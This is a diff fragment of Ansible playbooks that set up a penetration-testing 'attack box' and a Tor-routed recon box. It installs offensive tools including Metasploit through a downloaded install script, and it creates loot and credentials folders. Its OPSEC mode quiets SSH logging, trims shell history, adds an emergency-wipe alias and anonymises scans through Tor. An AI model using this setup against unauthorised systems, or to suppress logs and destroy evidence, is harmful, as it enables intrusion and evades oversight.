- "{{ dmealey_dir }}/reports"
|
||||
- "{{ dmealey_dir }}/notes"
|
||||
- "{{ dmealey_dir }}/exploits"
|
||||
- "{{ dmealey_dir }}/wordlists"
|
||||
- "{{ dmealey_dir }}/pcaps"
|
||||
# Scan subdirectories (exactly like trashpanda.py)
|
||||
- "{{ dmealey_dir }}/scans/nmap"
|
||||
- "{{ dmealey_dir }}/scans/dns"
|
||||
- "{{ dmealey_dir }}/scans/snmp"
|
||||
- "{{ dmealey_dir }}/scans/smb"
|
||||
- "{{ dmealey_dir }}/scans/web"
|
||||
- "{{ dmealey_dir }}/scans/ssl"
|
||||
- "{{ dmealey_dir }}/scans/vulns"
|
||||
- "{{ dmealey_dir }}/scans/ldap"
|
||||
- "{{ dmealey_dir }}/scans/ftp"
|
||||
- "{{ dmealey_dir }}/scans/ssh"
|
||||
- "{{ dmealey_dir }}/scans/databases"
|
||||
- "{{ dmealey_dir }}/scans/custom"
|
||||
- "{{ dmealey_dir }}/scans/reachability"
|
||||
# Loot subdirectories (exactly like trashpanda.py)
|
||||
- "{{ dmealey_dir }}/loot/credentials"
|
||||
- "{{ dmealey_dir }}/loot/hashes"
|
||||
- "{{ dmealey_dir }}/loot/keys"
|
||||
- "{{ dmealey_dir }}/loot/configs"
|
||||
- "{{ dmealey_dir }}/loot/databases"
|
||||
- "{{ dmealey_dir }}/loot/files"
|
||||
# Tools subdirectories for organization
|
||||
- "{{ dmealey_dir }}/tools/scripts"
|
||||
- "{{ dmealey_dir }}/tools/windows"
|
||||
- "{{ dmealey_dir }}/tools/linux"
|
||||
- "{{ dmealey_dir }}/tools/web"
|
||||
- "{{ dmealey_dir }}/tools/wireless"
|
||||
- "{{ dmealey_dir }}/tools/privesc"
|
||||
|
||||
# Attack Box Configuration
|
||||
# Based on /home/n0mad1k/Tools/attk-box-setup for headless deployment
|
||||
# Uses TrashPanda directory structure under /root/dmealey
|
||||
|
||||
- name: Update package cache only (avoid grub-pc issues)
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
retries: 3
|
||||
delay: 10
|
||||
|
||||
- name: Install base packages with progress feedback
|
||||
ansible.builtin.apt:
|
||||
name: "{{ item }}"
|
||||
state: present
|
||||
update_cache: yes
|
||||
loop:
|
||||
- curl
|
||||
- wget
|
||||
- git
|
||||
- vim
|
||||
- htop
|
||||
- screen
|
||||
- tmux
|
||||
- python3
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- python3-dev
|
||||
- build-essential
|
||||
- binutils
|
||||
- hashcat
|
||||
- john
|
||||
- hydra
|
||||
- aircrack-ng
|
||||
- recon-ng
|
||||
- exploitdb
|
||||
- gobuster
|
||||
- dirb
|
||||
- nikto
|
||||
- whatweb
|
||||
- wapiti
|
||||
- uniscan
|
||||
- theharvester
|
||||
- dnsenum
|
||||
- dnsmap
|
||||
- dnsutils
|
||||
- whois
|
||||
- netcat-traditional
|
||||
- netcat-openbsd
|
||||
- socat
|
||||
- ncat
|
||||
- nmap
|
||||
- masscan
|
||||
- unicornscan
|
||||
- hping3
|
||||
- tcpdump
|
||||
- tshark
|
||||
- dsniff
|
||||
- arp-scan
|
||||
- nbtscan
|
||||
- enum4linux
|
||||
- smbclient
|
||||
- rpcclient
|
||||
- showmount
|
||||
- rpcinfo
|
||||
- snmp
|
||||
- snmp-mibs-downloader
|
||||
- onesixtyone
|
||||
- ldap-utils
|
||||
- sslscan
|
||||
- sslyze
|
||||
- testssl.sh
|
||||
- openssl
|
||||
- ike-scan
|
||||
- sleuthkit
|
||||
- autopsy
|
||||
- foremost
|
||||
- scalpel
|
||||
- binwalk
|
||||
- exiftool
|
||||
- steghide
|
||||
- outguess
|
||||
- stegosuite
|
||||
- hexedit
|
||||
- ghex
|
||||
- bless
|
||||
- radare2
|
||||
- gdb
|
||||
- valgrind
|
||||
- ltrace
|
||||
- strace
|
||||
- lsof
|
||||
- psmisc
|
||||
- tree
|
||||
- file
|
||||
- less
|
||||
- most
|
||||
- unzip
|
||||
- p7zip-full
|
||||
- rar
|
||||
- unrar
|
||||
- cabextract
|
||||
- cpio
|
||||
- binutils-dev
|
||||
- libc6-dev
|
||||
- gcc
|
||||
- g++
|
||||
- make
|
||||
- cmake
|
||||
- autoconf
|
||||
- automake
|
||||
- libtool
|
||||
- pkg-config
|
||||
- libssl-dev
|
||||
- libffi-dev
|
||||
- libxml2-dev
|
||||
- libxslt1-dev
|
||||
- zlib1g-dev
|
||||
- libjpeg-dev
|
||||
- libpng-dev
|
||||
- libgif-dev
|
||||
- libfreetype6-dev
|
||||
- libmagic-dev
|
||||
- libpcap-dev
|
||||
- libnetfilter-queue-dev
|
||||
- libnfnetlink-dev
|
||||
- libdnet-dev
|
||||
- libpcre3-dev
|
||||
- libgtk2.0-dev
|
||||
- libgtk-3-dev
|
||||
register: apt_install_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Show package installation progress
|
||||
debug:
|
||||
msg: "Package {{ item.item }} installation: {{ 'SUCCESS' if item.changed else 'ALREADY INSTALLED' }}"
|
||||
loop: "{{ apt_install_result.results }}"
|
||||
when: apt_install_result.results is defined
|
||||
|
||||
- name: Check if pipx is available
|
||||
ansible.builtin.command: pipx --version
|
||||
register: pipx_version_check
|
||||
failed_when: false
|
||||
|
||||
- name: Install pipx if not available
|
||||
ansible.builtin.apt:
|
||||
name: pipx
|
||||
state: present
|
||||
update_cache: yes
|
||||
when: pipx_version_check.rc != 0
|
||||
retries: 2
|
||||
delay: 5
|
||||
|
||||
- name: Display pipx availability
|
||||
debug:
|
||||
msg: "Pipx version: {{ pipx_version_check.stdout if pipx_version_check.rc == 0 else 'Pipx was not found but has been installed' }}"
|
||||
|
||||
- name: Ensure pipx is properly configured
|
||||
ansible.builtin.shell: pipx ensurepath
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: pipx_ensurepath_result
|
||||
failed_when: false
|
||||
|
||||
- name: Display pipx configuration result
|
||||
debug:
|
||||
msg: "Pipx ensurepath: {{ pipx_ensurepath_result.stdout }}"
|
||||
|
||||
- name: Upload pipx tools installation script
|
||||
ansible.builtin.copy:
|
||||
src: "../../modules/attack-box/files/install_pipx_tools.sh"
|
||||
dest: /tmp/install_pipx_tools.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute pipx tools installation script
|
||||
ansible.builtin.shell: /tmp/install_pipx_tools.sh
|
||||
register: pipx_install_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display pipx installation summary
|
||||
debug:
|
||||
msg: |
|
||||
Pipx installation completed!
|
||||
Check the detailed output above for individual tool status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Display pipx installation status
|
||||
debug:
|
||||
msg: "Pipx installation {{ 'completed successfully' if pipx_install_result.rc == 0 else 'completed with some failures' }}"
|
||||
when: pipx_install_result is defined
|
||||
|
||||
- name: Install additional Python packages via pip3 (for libraries)
|
||||
ansible.builtin.pip:
|
||||
name:
|
||||
- requests
|
||||
- beautifulsoup4
|
||||
- lxml
|
||||
- selenium
|
||||
- paramiko
|
||||
- capstone
|
||||
- keystone-engine
|
||||
- unicorn
|
||||
- dnspython
|
||||
- netaddr
|
||||
- python-nmap
|
||||
state: present
|
||||
executable: pip3
|
||||
retries: 2
|
||||
delay: 5
|
||||
ignore_errors: true
|
||||
|
||||
- name: Check if Go is available
|
||||
ansible.builtin.command: go version
|
||||
register: go_version_check
|
||||
failed_when: false
|
||||
|
||||
- name: Display Go version
|
||||
debug:
|
||||
msg: "Go version: {{ go_version_check.stdout if go_version_check.rc == 0 else 'Go not found - skipping Go tools installation' }}"
|
||||
|
||||
- name: Upload Go tools installation script
|
||||
ansible.builtin.copy:
|
||||
src: "../files/install_go_tools.sh"
|
||||
dest: /tmp/install_go_tools.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute Go tools installation script
|
||||
ansible.builtin.shell: DMEALEY_DIR="{{ dmealey_dir }}" /tmp/install_go_tools.sh
|
||||
register: go_install_result
|
||||
when: go_version_check.rc == 0
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display Go tools installation summary
|
||||
debug:
|
||||
msg: |
|
||||
Go tools installation completed!
|
||||
Check the detailed output above for individual tool status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Configure PATH for all installed tools
|
||||
ansible.builtin.blockinfile:
|
||||
path: /root/.bashrc
|
||||
block: |
|
||||
# Attack Box Tool Paths
|
||||
export GOPATH="{{ dmealey_dir }}/tools/go"
|
||||
export PATH="$PATH:/root/.local/bin" # pipx tools
|
||||
export PATH="$PATH:/usr/local/go/bin" # Go binary
|
||||
export PATH="$PATH:$GOPATH/bin" # Go tools
|
||||
export PATH="$PATH:{{ dmealey_dir }}/tools" # Custom tools
|
||||
export PATH="$PATH:/opt/metasploit-framework/bin" # Metasploit
|
||||
|
||||
# Useful aliases for attack box
|
||||
alias dmealey="cd {{ dmealey_dir }}"
|
||||
alias tools="cd {{ dmealey_dir }}/tools"
|
||||
alias scans="cd {{ dmealey_dir }}/scans"
|
||||
alias loot="cd {{ dmealey_dir }}/loot"
|
||||
alias trashpanda="python3 {{ dmealey_dir }}/tools/trashpanda.py"
|
||||
alias ll="ls -la"
|
||||
alias la="ls -la"
|
||||
marker: "# {mark} ATTACK BOX CONFIGURATION"
|
||||
create: yes
|
||||
|
||||
- name: Source bashrc to apply PATH changes
|
||||
ansible.builtin.shell: source /root/.bashrc
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Upload Git repositories cloning script
|
||||
ansible.builtin.copy:
|
||||
src: "../files/install_git_repos.sh"
|
||||
dest: /tmp/install_git_repos.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Execute Git repositories cloning script
|
||||
ansible.builtin.shell: DMEALEY_DIR="{{ dmealey_dir }}" /tmp/install_git_repos.sh
|
||||
register: git_clone_result
|
||||
ignore_errors: true
|
||||
|
||||
- name: Display Git repositories cloning summary
|
||||
debug:
|
||||
msg: |
|
||||
Git repositories cloning completed!
|
||||
Check the detailed output above for individual repository status.
|
||||
Full output captured in deployment logs.
|
||||
|
||||
- name: Install Metasploit (latest nightly build)
|
||||
shell: |
|
||||
cd /tmp
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
||||
chmod 755 msfinstall
|
||||
./msfinstall
|
||||
args:
|
||||
creates: /opt/metasploit-framework/bin/msfconsole
|
||||
|
||||
- name: Copy TrashPanda tool to dmealey directory
|
||||
copy:
|
||||
src: "../files/{{ tool_name }}.py"
|
||||
dest: "{{ dmealey_dir }}/tools/{{ tool_name }}.py"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Copy OPSEC monitoring scripts
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "{{ dmealey_dir }}/tools/scripts/"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
loop:
|
||||
- "../files/opsec-check.sh"
|
||||
- "../files/emergency-wipe.sh"
|
||||
- "../files/trash-cleanup.sh"
|
||||
|
||||
- name: Copy OPSEC-aware shell aliases
|
||||
copy:
|
||||
src: "../files/clean-shell-aliases"
|
||||
dest: "{{ dmealey_dir }}/tools/scripts/shell-aliases"
|
||||
mode: '0644'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Copy automation scripts to tools directory
|
||||
copy:
|
||||
src: "{{ item }}"
|
||||
dest: "{{ dmealey_dir }}/tools/scripts/"
|
||||
mode: '0755'
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
with_fileglob:
|
||||
- "../files/*.sh"
|
||||
- "../files/*.py"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Create engagement log file
|
||||
copy:
|
||||
content: |
|
||||
# Engagement Log - {{ ansible_date_time.iso8601 }}
|
||||
# Attack Box Deployment: {{ attack_box_name | default('attack-box') }}
|
||||
# IP Address: {{ ansible_default_ipv4.address | default('N/A') }}
|
||||
#
|
||||
# Directory Structure:
|
||||
# {{ dmealey_dir }}/tools/ - Downloaded/compiled tools and scripts
|
||||
# {{ dmealey_dir }}/scans/ - All scan results organized by type
|
||||
# {{ dmealey_dir }}/logs/ - Execution logs and debug output
|
||||
# {{ dmealey_dir }}/loot/ - Extracted credentials, hashes, and sensitive data
|
||||
# {{ dmealey_dir }}/payloads/ - Custom payloads and exploit code
|
||||
# {{ dmealey_dir }}/targets/ - Target lists and reconnaissance data
|
||||
# {{ dmealey_dir }}/screenshots/ - Visual evidence and GUI captures
|
||||
# {{ dmealey_dir }}/reports/ - Draft reports and documentation
|
||||
# {{ dmealey_dir }}/notes/ - Manual notes and observations
|
||||
# {{ dmealey_dir }}/exploits/ - Working exploits and proof-of-concepts
|
||||
# {{ dmealey_dir }}/wordlists/ - Custom and downloaded wordlists
|
||||
# {{ dmealey_dir }}/pcaps/ - Network captures and traffic analysis
|
||||
#
|
||||
# Log started: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
dest: "{{ dmealey_dir }}/logs/engagement.log"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
|
||||
- name: Create initial target template
|
||||
copy:
|
||||
content: |
|
||||
# Target List Template
|
||||
# Add targets one per line in various formats:
|
||||
#
|
||||
# Individual IPs:
|
||||
# 192.168.1.10
|
||||
# 10.0.0.5
|
||||
#
|
||||
# IP Ranges:
|
||||
# 192.168.1.1-254
|
||||
# 10.0.0.1-50
|
||||
#
|
||||
# CIDR Notation:
|
||||
# 192.168.1.0/24
|
||||
# 10.0.0.0/16
|
||||
#
|
||||
# Hostnames:
|
||||
# target.example.com
|
||||
# www.example.com
|
||||
|
||||
dest: "{{ dmealey_dir }}/targets/targets.txt"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
force: no
|
||||
|
||||
- name: Create bash aliases for workflow (OPSEC mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# Attack Box Aliases"
|
||||
- "alias ops='cd {{ dmealey_dir }}'"
|
||||
- "alias tools='cd {{ dmealey_dir }}/tools'"
|
||||
- "alias scans='cd {{ dmealey_dir }}/scans'"
|
||||
- "alias loot='cd {{ dmealey_dir }}/loot'"
|
||||
- "alias targets='cd {{ dmealey_dir }}/targets'"
|
||||
- "alias reports='cd {{ dmealey_dir }}/reports'"
|
||||
- "alias logs='cd {{ dmealey_dir }}/logs'"
|
||||
- "alias toolkit='python3 {{ dmealey_dir }}/tools/toolkit.py'"
|
||||
- "alias recon='{{ dmealey_dir }}/tools/scripts/recon_automation.sh'"
|
||||
- "alias portscan='{{ dmealey_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||
- "alias webenum='{{ dmealey_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||
- "alias attack-menu='{{ dmealey_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||
- "alias opsec='{{ dmealey_dir }}/tools/scripts/opsec-check.sh'"
|
||||
- "alias panic='{{ dmealey_dir }}/tools/scripts/emergency-wipe.sh'"
|
||||
- "alias clean='{{ dmealey_dir }}/tools/scripts/trash-cleanup.sh'"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Create bash aliases for workflow (Standard mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# TrashPanda Attack Box Aliases"
|
||||
- "alias dmealey='cd {{ dmealey_dir }}'"
|
||||
- "alias tools='cd {{ dmealey_dir }}/tools'"
|
||||
- "alias scans='cd {{ dmealey_dir }}/scans'"
|
||||
- "alias loot='cd {{ dmealey_dir }}/loot'"
|
||||
- "alias targets='cd {{ dmealey_dir }}/targets'"
|
||||
- "alias reports='cd {{ dmealey_dir }}/reports'"
|
||||
- "alias logs='cd {{ dmealey_dir }}/logs'"
|
||||
- "alias trashpanda='python3 {{ dmealey_dir }}/tools/trashpanda.py'"
|
||||
- "alias recon='{{ dmealey_dir }}/tools/scripts/recon_automation.sh'"
|
||||
- "alias portscan='{{ dmealey_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||
- "alias webenum='{{ dmealey_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||
- "alias attack-menu='{{ dmealey_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
|
||||
- name: Set Go path in bashrc
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "export GOPATH={{ dmealey_dir }}/tools/go"
|
||||
- "export PATH=$PATH:{{ dmealey_dir }}/tools/go/bin"
|
||||
|
||||
- name: Load OPSEC shell aliases (Enhanced OPSEC mode)
|
||||
blockinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
block: |
|
||||
# OPSEC-aware shell aliases
|
||||
source {{ dmealey_dir }}/tools/scripts/shell-aliases
|
||||
marker: "# {mark} OPSEC SHELL ALIASES"
|
||||
create: yes
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Configure hardened SSH (Enhanced OPSEC mode)
|
||||
blockinfile:
|
||||
path: "/etc/ssh/sshd_config"
|
||||
block: |
|
||||
# OPSEC hardened SSH configuration
|
||||
LogLevel QUIET
|
||||
TCPKeepAlive no
|
||||
ClientAliveInterval 300
|
||||
ClientAliveCountMax 2
|
||||
MaxAuthTries 3
|
||||
MaxSessions 2
|
||||
LoginGraceTime 60
|
||||
marker: "# {mark} OPSEC SSH HARDENING"
|
||||
backup: yes
|
||||
when: enhanced_opsec | default(false)
|
||||
register: ssh_config_changed
|
||||
|
||||
- name: Restart SSH service if configuration changed
|
||||
service:
|
||||
name: ssh
|
||||
state: restarted
|
||||
when: enhanced_opsec | default(false) and ssh_config_changed.changed
|
||||
|
||||
- name: Disable bash history for OPSEC (Enhanced OPSEC mode)
|
||||
lineinfile:
|
||||
path: "{{ user_home }}/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# OPSEC: Minimize command history"
|
||||
- "export HISTSIZE=100"
|
||||
- "export HISTFILESIZE=100"
|
||||
- "export HISTCONTROL=ignoreboth:erasedups"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Set up Tor if requested
|
||||
block:
|
||||
- name: Configure Tor
|
||||
copy:
|
||||
content: |
|
||||
SocksPort 9050
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
DataDirectory /var/lib/tor
|
||||
dest: /etc/tor/torrc
|
||||
backup: yes
|
||||
|
||||
- name: Start and enable Tor
|
||||
systemd:
|
||||
name: tor
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Configure proxychains for Tor
|
||||
replace:
|
||||
path: /etc/proxychains4.conf
|
||||
regexp: '^socks4.*127\.0\.0\.1.*9050.*$'
|
||||
replace: 'socks5 127.0.0.1 9050'
|
||||
when: setup_tor | default(false)
|
||||
|
||||
- name: Update locate database
|
||||
command: updatedb
|
||||
ignore_errors: true
|
||||
|
||||
- name: Calculate configuration duration
|
||||
set_fact:
|
||||
config_end_time: "{{ ansible_date_time.epoch }}"
|
||||
config_duration: "{{ (ansible_date_time.epoch|int - config_start_time|int) // 60 }}"
|
||||
|
||||
- name: Display attack box configuration summary
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
ATTACK BOX CONFIGURATION COMPLETED
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Target: {{ ansible_host }}
|
||||
Configuration Duration: {{ config_duration }} minutes
|
||||
|
||||
Directory Structure: {{ dmealey_dir }}
|
||||
├── docs/ - Documentation and notes
|
||||
├── exploits/ - Exploit development
|
||||
├── loot/ - Extracted data and findings
|
||||
├── reports/ - Assessment reports
|
||||
├── scripts/ - Custom automation scripts
|
||||
├── tools/ - Security tools
|
||||
│ ├── go/bin/ - Go-based tools
|
||||
│ └── git/ - Git repositories
|
||||
└── wordlists/ - Custom wordlists
|
||||
|
||||
Tools Installed:
|
||||
- Base packages: ~100 security tools
|
||||
- Python tools: ~30 tools via pipx
|
||||
- Go tools: ~12 reconnaissance tools
|
||||
- Git repositories: ~20 tool repositories
|
||||
|
||||
Environment:
|
||||
- PATH configured for all tools
|
||||
- pipx tools accessible system-wide
|
||||
- Go tools in {{ dmealey_dir }}/tools/go/bin
|
||||
|
||||
Next Steps:
|
||||
1. SSH into the box: ssh -i a-{{ deployment_id }} root@{{ ansible_host }}
|
||||
2. Navigate to working directory: cd {{ dmealey_dir }}
|
||||
3. Start your assessment activities
|
||||
|
||||
================================================================
|
||||
|
||||
- name: Display setup completion information (OPSEC mode)
|
||||
debug:
|
||||
msg:
|
||||
- "Attack Box Setup Complete!"
|
||||
- ""
|
||||
- "Main Directory: {{ dmealey_dir }}"
|
||||
- "Tools Location: {{ dmealey_dir }}/tools"
|
||||
- "Scan Results: {{ dmealey_dir }}/scans"
|
||||
- "Loot Storage: {{ dmealey_dir }}/loot"
|
||||
- ""
|
||||
- "Quick Commands:"
|
||||
- " ops - Go to main directory"
|
||||
- " toolkit [targets] - Run toolkit enumeration"
|
||||
- " recon <target> - Run reconnaissance automation"
|
||||
- " portscan <target> - Run port scan automation"
|
||||
- " webenum <target> - Run web enumeration automation"
|
||||
- " attack-menu - Launch manual testing menu"
|
||||
- " opsec - Check OPSEC status"
|
||||
- " panic - Emergency sanitization"
|
||||
- " clean - Clean operational artifacts"
|
||||
- ""
|
||||
- "Start here: {{ dmealey_dir }}/targets/targets.txt"
|
||||
when: enhanced_opsec | default(false)
|
||||
|
||||
- name: Display setup completion information (Standard mode)
|
||||
debug:
|
||||
msg:
|
||||
- "TrashPanda Attack Box Setup Complete!"
|
||||
- ""
|
||||
- "Main Directory: {{ dmealey_dir }}"
|
||||
- "Tools Location: {{ dmealey_dir }}/tools"
|
||||
- "Scan Results: {{ dmealey_dir }}/scans"
|
||||
- "Loot Storage: {{ dmealey_dir }}/loot"
|
||||
- ""
|
||||
- "Quick Commands:"
|
||||
- " dmealey - Go to main directory"
|
||||
- " trashpanda [targets] - Run TrashPanda enumeration"
|
||||
- " recon <target> - Run reconnaissance automation"
|
||||
- " portscan <target> - Run port scan automation"
|
||||
- " webenum <target> - Run web enumeration automation"
|
||||
- " attack-menu - Launch manual testing menu"
|
||||
- ""
|
||||
- "Start here: {{ dmealey_dir }}/targets/targets.txt"
|
||||
when: not (enhanced_opsec | default(false))
|
||||
@@ -0,0 +1,256 @@
|
||||
---
|
||||
# Quick Recon Box Configuration - OPSEC + Basic Tools
|
||||
# Includes Tor, VPN, and basic reconnaissance tools only
|
||||
|
||||
- name: Record configuration start time
|
||||
set_fact:
|
||||
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||
|
||||
- name: Display quick recon box configuration info
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
CONFIGURING QUICK RECON BOX
|
||||
================================================================
|
||||
Deployment ID: {{ deployment_id }}
|
||||
Attack Box Name: {{ attack_box_name }}
|
||||
Target: OPSEC-focused reconnaissance with basic tools
|
||||
Features: Tor + VPN + Basic Tools (no complex installations)
|
||||
================================================================
|
||||
|
||||
# Set up variables
|
||||
- name: Set common variables
|
||||
set_fact:
|
||||
target_user: "root"
|
||||
work_dir: "/root/recon"
|
||||
deployment_id: "{{ deployment_id }}"
|
||||
attack_box_name: "{{ attack_box_name }}"
|
||||
|
||||
# Core directories
|
||||
- name: Create core working directories
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0755'
|
||||
loop:
|
||||
- "{{ work_dir }}"
|
||||
- "{{ work_dir }}/scans"
|
||||
- "{{ work_dir }}/loot"
|
||||
- "{{ work_dir }}/notes"
|
||||
- "/root/tools"
|
||||
|
||||
# Update system and install essential packages
|
||||
- name: Update package cache
|
||||
ansible.builtin.apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 3600
|
||||
|
||||
- name: Install minimal essential tools + OPSEC packages
|
||||
ansible.builtin.apt:
|
||||
name:
|
||||
# Core system tools
|
||||
- curl
|
||||
- wget
|
||||
- git
|
||||
- vim
|
||||
- tmux
|
||||
- htop
|
||||
- unzip
|
||||
- python3
|
||||
- jq
|
||||
# Basic network reconnaissance
|
||||
- nmap
|
||||
- dnsutils
|
||||
- whois
|
||||
- netcat-traditional
|
||||
- traceroute
|
||||
# OPSEC tools
|
||||
- tor
|
||||
- torsocks
|
||||
- proxychains4
|
||||
- openvpn
|
||||
- easy-rsa
|
||||
state: present
|
||||
install_recommends: no
|
||||
|
||||
- name: Configure Tor for anonymous reconnaissance
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Tor configuration for Quick Recon Box
|
||||
DataDirectory /var/lib/tor
|
||||
PidFile /var/run/tor/tor.pid
|
||||
RunAsDaemon 1
|
||||
User debian-tor
|
||||
Log notice file /var/log/tor/notices.log
|
||||
SocksPort 9050
|
||||
SocksPolicy accept *
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
NewCircuitPeriod 30
|
||||
MaxCircuitDirtiness 600
|
||||
UseEntryGuards 1
|
||||
ExitPolicy accept *:53
|
||||
ExitPolicy accept *:80
|
||||
ExitPolicy accept *:443
|
||||
ExitPolicy accept *:993
|
||||
ExitPolicy accept *:995
|
||||
ExitPolicy reject *:*
|
||||
CircuitBuildTimeout 10
|
||||
LearnCircuitBuildTimeout 0
|
||||
dest: /etc/tor/torrc
|
||||
backup: yes
|
||||
|
||||
- name: Configure proxychains for Tor routing
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Proxychains configuration for Tor
|
||||
strict_chain
|
||||
proxy_dns
|
||||
remote_dns_subnet 224
|
||||
tcp_read_time_out 15000
|
||||
tcp_connect_time_out 8000
|
||||
localnet 127.0.0.0/255.0.0.0
|
||||
quiet_mode
|
||||
|
||||
[ProxyList]
|
||||
socks4 127.0.0.1 9050
|
||||
dest: /etc/proxychains4.conf
|
||||
backup: yes
|
||||
|
||||
- name: Start and enable Tor service
|
||||
ansible.builtin.systemd:
|
||||
name: tor
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
# VPN Setup
|
||||
- name: Create OpenVPN directory structure
|
||||
ansible.builtin.file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
loop:
|
||||
- /etc/openvpn/server
|
||||
- /etc/openvpn/client
|
||||
- "{{ work_dir }}/vpn"
|
||||
|
||||
- name: Generate basic OpenVPN server config for quick recon
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
port 1194
|
||||
proto udp
|
||||
dev tun
|
||||
server 10.8.0.0 255.255.255.0
|
||||
ifconfig-pool-persist ipp.txt
|
||||
keepalive 10 120
|
||||
cipher AES-256-CBC
|
||||
persist-key
|
||||
persist-tun
|
||||
status openvpn-status.log
|
||||
log-append /var/log/openvpn.log
|
||||
verb 3
|
||||
explicit-exit-notify 1
|
||||
dest: /etc/openvpn/server/quick-recon.conf
|
||||
mode: '0644'
|
||||
when: setup_vpn | default(false) | bool
|
||||
|
||||
- name: Create VPN client template
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Quick Recon VPN Client Config
|
||||
# Server: {{ ansible_default_ipv4.address }}
|
||||
# Generated: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
client
|
||||
dev tun
|
||||
proto udp
|
||||
remote {{ ansible_default_ipv4.address }} 1194
|
||||
resolv-retry infinite
|
||||
nobind
|
||||
persist-key
|
||||
persist-tun
|
||||
cipher AES-256-CBC
|
||||
verb 3
|
||||
|
||||
# Add certificates here:
|
||||
# <ca>
|
||||
# </ca>
|
||||
# <cert>
|
||||
# </cert>
|
||||
# <key>
|
||||
# </key>
|
||||
dest: "{{ work_dir }}/vpn/quick-recon-client.ovpn"
|
||||
owner: "{{ target_user }}"
|
||||
group: "{{ target_user }}"
|
||||
mode: '0644'
|
||||
when: setup_vpn | default(false) | bool
|
||||
|
||||
# No domain/nginx setup for Quick Recon Box - keep it minimal
|
||||
|
||||
- name: Create quick aliases for OPSEC operations
|
||||
ansible.builtin.lineinfile:
|
||||
path: "/root/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# Quick Recon Box Aliases"
|
||||
- "alias qr='cd {{ work_dir }}'"
|
||||
- "alias tor-nmap='torsocks nmap'"
|
||||
- "alias tor-curl='torsocks curl'"
|
||||
- "alias check-tor='curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip'"
|
||||
|
||||
- name: Create simple quick reference
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Quick Recon Box
|
||||
|
||||
## Basic Tools Installed:
|
||||
- nmap, netcat, curl, wget, dig, whois, traceroute, python3
|
||||
- tor + torsocks (anonymous operations)
|
||||
{% if setup_vpn | default(false) %}- openvpn (VPN server){% endif %}
|
||||
|
||||
## Quick Commands:
|
||||
- tor-nmap target.com # Anonymous nmap scan
|
||||
- tor-curl target.com # Anonymous web request
|
||||
- check-tor # Verify Tor connection
|
||||
- qr # Go to working directory
|
||||
|
||||
## Working Directory: {{ work_dir }}
|
||||
- Scans: {{ work_dir }}/scans/
|
||||
